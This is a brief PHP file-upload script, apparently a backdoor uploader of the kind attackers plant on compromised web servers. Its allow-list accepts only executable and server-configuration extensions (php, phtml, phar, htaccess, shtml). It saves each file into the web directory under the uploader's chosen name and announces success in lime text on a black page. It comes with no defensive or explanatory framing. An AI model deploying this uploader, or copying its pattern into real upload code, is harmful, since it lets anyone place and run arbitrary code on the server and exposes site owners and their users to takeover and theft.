if(isset($_FILES['image'])){
$errors= array();
$file_name = $_FILES['image']['name'];
$file_size =$_FILES['image']['size'];
$file_tmp =$_FILES['image']['tmp_name'];
$file_type=$_FILES['image']['type'];
$file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));
$expensions= array("json","jpg","php","txt","phtml","html","htaccess","shtml","phar");
if(in_array($file_ext,$expensions)=== false){
$errors[]="extension not allowed, please choose a php or json file.";
}
if($file_size > 2097152){
$errors[]='File size must be excately 2 MB';
}
if(empty($errors)==true){
move_uploaded_file($file_tmp,$file_name);
echo "<span style=\"font-size: medium;color: lime;\">YOUR FILE UPLOAD SUCCESFULLY !!</span>";
}else{
print_r($errors);
}
}
<body style="text-align: center;background-color: black;font-size: 0px;">
<br \><br \>